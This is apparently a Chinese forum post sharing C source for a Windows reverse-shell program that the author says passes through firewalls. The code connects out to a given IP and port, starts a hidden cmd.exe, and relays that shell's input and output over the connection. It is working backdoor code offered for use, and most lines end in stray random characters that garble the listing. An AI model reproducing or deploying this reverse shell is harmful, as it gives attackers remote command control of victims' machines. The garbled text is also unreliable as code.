这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6F:<c
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/* ============================== 5DS'22GW`
Rebound port in Windows NT htu(R$GSM
By wind,2006/7 8<:.DFq
===============================*/ J e"~/+
#include 4N[KmNi<
#include i(mQbWpN
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#pragma comment(lib,"wsock32.lib") U+ANSW/
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void OutputShell(); TsF>Y""*M
SOCKET sClient; UfSqiu
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; TjY-C m
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void main(int argc,char **argv) | IB4-p
{ SUN!8
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WSADATA stWsaData; cnraNq1
int nRet; kK~,?l
SOCKADDR_IN stSaiClient,stSaiServer; nm#,oX2C
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if(argc != 3) V.|#2gC]t
{ _ K Ix7
printf("Useage:\n\rRebound DestIP DestPort\n"); RAU"
return; A+41JMH
} x%RG>),U
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WSAStartup(MAKEWORD(2,2),&stWsaData); yllEg9L0z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gZ@z}CIw'
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stSaiClient.sin_family = AF_INET; n^iq?u
stSaiClient.sin_port = htons(0); ZG$PW<73~
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); u:w
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {$QkerW3
{ ~-f"&@){,
printf("Bind Socket Failed!\n"); EECuJ+T
return; M2!2J
} Fk#$@^c@
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stSaiServer.sin_family = AF_INET; bPA >xAH
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @0 #JY:"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2y5d
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;~-M$a
}4
{ B+2EIaI
printf("Connect Error!"); @hwe
return; sR;u#".
} Xv<K>i>k
OutputShell(); ({0:1*lF@
} *CCh\+S7m
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void OutputShell() H b?0?^#
{ bbs'>D3
char szBuff[1024]; :Z&<5
SECURITY_ATTRIBUTES stSecurityAttributes; ^v5<* uf%m
OSVERSIONINFO stOsversionInfo; <Uc?#;%Y}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; fM`.v+
STARTUPINFO stStartupInfo; P09f
char *szShell; 2rxz<ck(
PROCESS_INFORMATION stProcessInformation; &4{!5r
unsigned long lBytesRead; ~@$RX:p
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); fj97_Q=
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); B!1h"K5.($
stSecurityAttributes.lpSecurityDescriptor = 0; {s>V'+H(F
stSecurityAttributes.bInheritHandle = TRUE; +~$pkxD"
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); hsHbT^Qm
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8Dkq+H93
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L6./5`bs
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xF6byTi
stStartupInfo.wShowWindow = SW_HIDE; =2@V}
stStartupInfo.hStdInput = hReadPipe; tU0jFBB
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .Ta (v3om%
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GetVersionEx(&stOsversionInfo); #%g>^i={ky
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switch(stOsversionInfo.dwPlatformId) G|YNShK4=9
{ 8j)*T9
case 1: _<KUa\
szShell = "command.com"; =&F~GCZ>
break; -B&
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default: K\FLA_J
szShell = "cmd.exe"; a}Z+"D
break;
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} b|-S;cw
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xqb*;TBh*
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send(sClient,szMsg,77,0); :(iBLO<x
while(1) %j@@J\G!
{ t:"3MiM=c
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); G#fF("Ndu`
if(lBytesRead) jyB
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{ DTlId~Dyq
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;I?x;lH
send(sClient,szBuff,lBytesRead,0); l b;P&V
} (K_{a+$[
else @N]]Cf>x
{ Lg~ll$
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lBytesRead=recv(sClient,szBuff,1024,0); e%EO/ 2"
if(lBytesRead<=0) break; @nAl*#M*D
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "W~vSbn7
} R.cR:fA
} >p'{!k
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return; S=j
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}